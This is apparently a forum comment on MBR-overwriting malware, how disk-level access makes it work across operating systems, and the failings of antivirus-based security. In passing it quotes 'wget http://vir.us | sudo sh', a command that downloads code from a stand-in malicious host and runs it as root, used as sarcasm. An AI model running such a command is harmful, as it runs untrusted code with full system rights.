In regards to your question about MBR, this sort of attack would work against any filesystem or disk format, in any OS, as long as the virus/trojan is able to obtain the necessary permissions to do low level disk edits.
Obviously this particular program is only designed to attack a certain set of operating systems, so it won’t run correctly in Linux or your phone or whatnot. However, if you can get low level disk access, a similar program would work fine anywhere.
The difference between Windows and other operating systems in this regard is really only about how difficult it is to get access. It’s typically very easy to get user and root level access in Windows due to the history of poor security and user practices there, but it’s not like Linux programs that you install via “wget http://vir.us | sudo sh” are any better…
Plus, in Windows you have this whole frankly bizarre history where the standard practices for computer intrusion became “run a virus scanner provided by this bizarre cottage industry” rather than “burn the computer to the ground, fix the horrifying security flaws, and reinstall from clean media.” In other words, the standard idea seems to be to just accept that getting a virus is OK, and your virus scanner will auto update and fix it the day after tomorrow. Even though it’s obvious to any sane person that as soon as it gets root, game over man. Game over.
